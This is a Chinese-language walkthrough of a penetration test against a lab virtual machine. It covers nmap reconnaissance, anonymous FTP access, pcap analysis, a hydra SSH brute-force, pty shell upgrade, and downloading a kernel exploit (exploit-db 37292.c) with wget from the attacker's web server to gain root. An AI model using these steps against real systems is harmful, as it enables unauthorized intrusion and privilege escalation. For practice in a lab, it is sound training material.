一次零基础靶机渗透细节全程记录

news/2024/5/19 2:06:41/文章来源:https://blog.csdn.net/weixin_62808713/article/details/131677427

一、打靶总流程

1.确定目标:

        在本靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,只是针对此靶场而言。其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。

2.信息收集:

        比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如信息收集包括查看源码,使用工具dirb等。

3.发现漏洞:

        那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。

4.漏洞利用:

        漏洞利用就是使用漏洞拿到webshell。

5.权限提升:

        权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。

二、打靶实例详解


文章内的靶机及脚本关注后私信获取

        1.首先将靶机以及kali启动。

         2.注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。

         3.从kali中打开终端,执行ip a命令查看kali的ip地址。

        4.使用nmap工具来确认要打的靶机的ip地址。 

nmap -sP 192.168.190.0/24

        在上面扫描出的ip地址中,.1、.2、.254、.138都是kali自身的一些ip地址,所以在此确认要进行攻击的靶机的ip地址为:192.168.190.139。

        5.接下来继续进行信息收集,信息收集的方面以及方式有很多,这里信息收集是针对此靶机的信息收集。

        6.扫描靶机开放了哪些端口。

nmap -p- 192.168.190.139

        可以看到此靶机开放了21、22、80端口。其中:开放了21端口ftp,可以想到可能存在弱口令;开放了22端口ssh,可以想到对其进行爆破,然后看到80端口web端,可以对其进行常见漏洞测试。 

        7.对开放的各个端口的进行详细查看。

namp -p- -sS -sV -A 192.168.190.139

        8. 在各个端口的详细信息中,可以看到21端口有个Anonymous登入成功过,因此可以尝试进行弱口令登入,账户名和密码都输入为Anonymous进行尝试。 

        9.尝试后发现确实存在弱口令问题,成功登录了进去。

         10.登录进去之后执行ls命令查看当前目录下有哪些文件,来继续进行信息收集。

         11.发现一个名为“lol.pcap”的文件,我们将其下载到我们本地。

        12.发现是一个流量数据,因此使用wireshark工具对其进行打开。

        13.打开后可以看到下面的内容。

        14.我们随便点击一条流量数据,点击TCP追踪流,可以看到下面的信息,但是并没有发现有用的信息。

        15. 将其关闭后我们可以看到软件上方的筛选信息,此时为0。

        16.将其更改成1后再进行TCP流追踪,可以看到一个txt文件。

        17.此时想到最开始进行扫描的时候,靶机存在开放的80端口,因此想到对其进行搜索,发现搜索结果返回404,说明搜索的结果是没用的。

       18.回到流量工具内,将筛选框后面的1更改为2后继续追踪TCP流,根据其英文解释,可以想到“sup3rs3cr3tdirlol”可能是一个文件的路径,因此再次尝试进行拼接。

         19.拼接后网页返回了下面的内容。

        20.可以看到存在一个名为“roflmao”的文件,点击后将其下载下来。

         21.来到下载路径下后,使用file命令或者strings命令将文件打开。

        22.可以看到还原出来的内容里存在下面的一句话,因此我们尝试将获得的信息再次进行拼接后搜索。

        23.再次进行拼接搜索后进入了下面的页面。

         24.在这里点击“good_luck”后进入了到了下面的页面。

        25. 在此页面内又发现了一个txt文件,点击后可以看到下面的内容,这里就相当于是一个用户名的字典,找到了有用的用户名。

         26.在桌面上创建一个名为user的文档来存储这些用户名。

        27.回到浏览器的前面的页面,发现存在一个可能存在密码的文件。

         28.进入后又发现了一个txt文件,打开后可以看到下面的内容,因此可以想到密码有可能是Good_job_:)也有可能是Pass.txt。

         29.将猜想的可能的密码也放入一个txt文档中当作密码的字典。

        30. 来到桌面路径下使用hydra工具对其进行爆破,可以看到成功将用户名和密码爆破了出来。 

hydra -L user -P password 192.168.190.139 ssh

        31.接下来就使用爆破出来的用户名和密码进行登录,发现登录成功了。 

ssh overflow@192.168.190.139

        32.但是发现此时的权限是低权限:

  • id为:0 root    
  • 0 < id < 1000 服务用户: 为服务提供权限  
  • 1000 <= id <=60000 普通

        因此还要进行提权,下面是linux提权的几种方式:

  • 内核提权---脏牛提权最为典型 ,内核提权一般包括3个步骤,信息收集发现版本号,找到相关版本的exp,使用找到的exp对目标发起攻击,完成提权功能。
  • 利用suid提权 
  • 利用sudo提权
  • mfs提权
  • mysql提权 包括udf mof提权方式

        33.发现进入的是一个伪终端,因此还要将其转换为真终端,执行下面的命令就将其变成了真终端。

python -c 'import pty; pty.spawn("/bin/bash")'

        34.接下来开始提权。

        35.首先在本地开启一个web服务。

python3 -m http.server 8083

        35. 直接执行下面的命令将脚本文件下载到靶机上,但是发现下载失败了,因为此时权限不够。

wget http://192.168.190.138:8083/les.sh

        36.切换到tmp目录下再次进行下载,发现下载成功了,因为其是一个临时文件,所以在此目录下的权限会高一些,因此就可以成功下载了。

       37.下载完之后将web服务关闭,在终端内按CTRL+z。 

      38.给其添加一个权限后进行执行。

chmod +x les.sh./les.sh

        39. 这个脚本执行后会检测Linux内核版本存在哪些漏洞,检测出来的结果的颜色越深说明可以被利用的可能性越大。

        40.接下来进行exp的利用就可以了。

        41.下面演示第二种提权方式。

        42.可以通过自己获取到Linux的版本信息,然后在kali内进行搜索。

uname -a

        43.获取到版本信息后执行下面的命令在kali内进行搜索。

searchsploit Linux 4-Tr0ll 3.13.0

        44.在此标红的两条就是满足条件的。

        45.接下来的思路就是将本都的exp搞到靶机的服务器内进行运行,就可以实现提权的效果。

        46.获取到exp的绝对路径。

locate linux/local/37292.c

        47.将其存放在桌面。

cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面

        48.将其打开后就可以看到exp的内容。

        49. 再从本地开启web服务。

        50. 将exp下载到靶机。

wget http://192.168.190.138:8085/37292.c

        51.下载完之后将web服务关闭,在终端内按CTRL+z。 

        52.将其进行编译和执行,此时再次查看权限,可以看到此时的权限就是root权限了。

        53.查看靶机内的文件proof.txt,至此我们就成功拿下了靶机!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_141314.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

经典的网络安全技术

以我的理解&#xff0c;“黑客”大体上应该分为“正”、“邪”两类&#xff0c;正派黑客依靠自己掌握的知识帮助系统管理员找出系统中的漏洞并加以完善&#xff0c;而邪派黑客则是通过各种黑客技能对系统进行攻击、入侵或者做其他一些有害于网络的事情&#xff0c;因为邪派黑客…

RPC分布式网络通信框架(二)—— moduo网络解析

文章目录 一、框架通信原理二、框架初始化框架初始化 三、调用端&#xff08;客户端&#xff09;调用端框架调用端主程序 四、提供端&#xff08;服务器&#xff09;提供端主程序提供端框架NotifyService方法Run方法muduo库的优点网络代码RpcProvider::OnConnection业务代码Rpc…

win11利用start11实现全屏菜单,磁贴配置

Win11磁贴配置 最近电脑还是升级到 win11 了。我之前采用的美化方案是桌面上的图标全部移到 win10 开始菜单里的全屏菜单上&#xff0c;用磁贴贴一排。每次要访问文件的时候都去开始菜单里找&#xff0c;而不是放在桌面上&#xff0c;这样桌面也可以空出来欣赏壁纸。参考配置链…

springboot+MySQL大学生体质测试管理系统

功能需求分析的任务是通过详细调查大学生体质测试的测试信息管理系统要处理的所有对象&#xff0c;通过充分了解大学生体质测试管理系统的工作流程&#xff0c;明确使用者的各种需求&#xff0c;充分思考之后可能扩充和改变的情况&#xff0c;然后在这个基础上来设计数据库。

论文笔记--TinyBERT: Distilling BERT for Natural Language Understanding

论文笔记--TinyBERT: Distilling BERT for Natural Language Understanding 1. 文章简介2. 文章概括3 文章重点技术3.1 Transformer Distillation3.2 两阶段蒸馏 4. 数值实验5. 文章亮点5. 原文传送门6. References 1. 文章简介 标题&#xff1a;TinyBERT: Distilling BERT fo…

赛效:如何用在线压缩GIF图片

1&#xff1a;在电脑网页上打开并登录快改图&#xff0c;点击左侧菜单栏里的“GIF压缩”。 2&#xff1a;点击页面中间的上传按钮&#xff0c;将电脑本地的GIF文件上传上去。 3&#xff1a;GIF文件上传成功后&#xff0c;设置下方压缩设置&#xff0c;点击右下角“开始压缩”。…

数据结构(王卓版)——线性表

数据的存储结构之线性表 1、线性表的定义和特点

java后端开发环境搭建 mac

在mac pro上搭建一套java 后端开发环境&#xff0c;主要安装的内容有&#xff1a;jdk、maven、git、tomcat、mysql、navicat、IntelliJ、redis。 本人mac pro的系统为mac OS Monterey 12.6.7&#xff0c;主机的硬件架构为x86_64。 左上角关于本机查看系统版本&#xff1b;终端…

前端框架Layui实现动态树效果(书籍管理系统左侧下拉列表)

目录 一、前言 1.什么是树形菜单 2.树形菜单的使用场景 二、案例实现 1.需求分析 2.前期准备工作 ①导入依赖 ②工具类 BaseDao&#xff08;通用增删改查&#xff09; BuildTree(完成平级数据到父子级的转换) ResponseUtil&#xff08;将数据转换成json格式进行回显&…

数据可视化之Tableau可视化||绘制标靶图

标靶图是一种用于评估、测试和优化计算机视觉算法的基准测试工具。它通常由多个具有不同特征的目标物体组成,如车辆、行人、交通信号灯等,同时包括各种不同的复杂场景,如城市街道、高速公路和人行道等。通过使用标靶图,研究人员可以检验算法的准确性、速度和适应性,同时拓…

由于找不到d3dx9_43.dll,有什么可靠的修复方法?

由于找不到d3dx9_43.dll&#xff0c;无法继续执行代码&#xff0c;这种情况大家是否有遇见过&#xff1f;其实就算没遇到过&#xff0c;大家应该也有遇到别的dll文件丢失吧&#xff1f;道理都一样&#xff0c;都是dll文件丢失&#xff0c;我们只需要把它给修复就可以了&#xf…

JVM的类加载机制和垃圾回收机制

目录 类加载机制类加载机制的步骤加载验证准备解析初始化 双亲委派模型工作原理双亲委派模型的优点 垃圾回收机制死亡对象的判断可达性分析算法可达性分析算法的缺点引用计数算法循环引用问题 垃圾回收算法标记-清除算法复制算法标记-整理算法分代算法 类加载机制 对于任意一个…

Antd List组件增加gutter属性后出现横向滚动,如何解决

第一次使用ant design的List列表组件&#xff0c;设置gutter间隔属性后&#xff0c;页面出现了横向滚动条&#xff0c;查阅文档发现是由于加间隔后导致容器宽度被撑开&#xff0c;ant design官方默认给外层容器加了margin-left和margin-right 解决方法是在外层容器预留一定的pa…

【sql注入-堆叠注入】多语句执行、结合其他注入

目录 堆叠注入 一、语法介绍 二、漏洞示例 三、常见形式 网络安全O 堆叠注入 一、语法介绍&#xff1a; 版本&#xff1a; 可以影响几乎所有的关系型数据库 原理&#xff1a; 将多条语句堆叠在一起进行查询&#xff0c;且可以执行多条SQL语句 语句之间以分号(;)隔开&#…

图像分类——模型微调

目录 微调热狗识别获取数据集模型构建与训练 微调 热狗识别 获取数据集 import tensorflow as tf import pathlibtraindirhotdog/train testdirhotdog/test image_gentf.keras.preprocessing.image.ImageDataGenerator(rescale1/255) train_data_genimage_gen.flow_from_direc…

探索PlanetScale:划分分支的MySQL Serverless平台

最近我发现了一个非常有趣的国外MySQL Serverless平台&#xff0c;它叫做PlanetScale。这个平台不仅仅是一个数据库&#xff0c;它能像代码一样轻松地创建开发和测试环境。你可以从主库中拉出一个与之完全相同结构的development或staging数据库&#xff0c;并在这个环境中进行开…

Python模拟MQTT v3.1.1服务器

示例代码 import logging import asyncio from hbmqtt.broker import Broker# 设置日志级别为DEBUG logging.basicConfig(levellogging.DEBUG)# 创建MQTT服务器 broker Broker()# 启动MQTT服务器 async def start_broker():await broker.start()# 停止MQTT服务器 async def s…

Leangoo领歌敏捷管理工具标签升级,企业级标签组上线

在Leangoo领歌敏捷工具中&#xff0c;标签通常用作对任务的分类&#xff0c;或任务的优先级区分等。这次我们发布了大家期待已久的“企业级标签组”功能&#xff0c;标签可以统一管理啦&#xff5e; 之前&#xff0c;Leangoo领歌的标签功能只限于单个看板使用&#xff0c;需要…

HTML元素中有中文、英文、符号、数字。第一行没排满就自动换行的解决办法:word-break:break-all的使用

word-break: break-all 是一个CSS属性&#xff0c;用于控制文本在容器中的换行方式。它的作用是强制在任意字符之间进行换行&#xff0c;即使这样可能会导致单词被分割。 具体来说&#xff0c;word-break 属性有以下几个取值&#xff1a; normal&#xff08;默认值&#xff09…

在线培训系统的保障措施带来安全、可靠的学习环境

在今天的数字时代&#xff0c;越来越多的人选择在线培训系统作为学习的方式。然而&#xff0c;随着在线教育市场的不断增长&#xff0c;安全和可靠性成为消费者普遍关心的问题。因此&#xff0c;在线培训系统需要采取一系列保护措施以确保学生的数据和隐私得到保护&#xff0c;…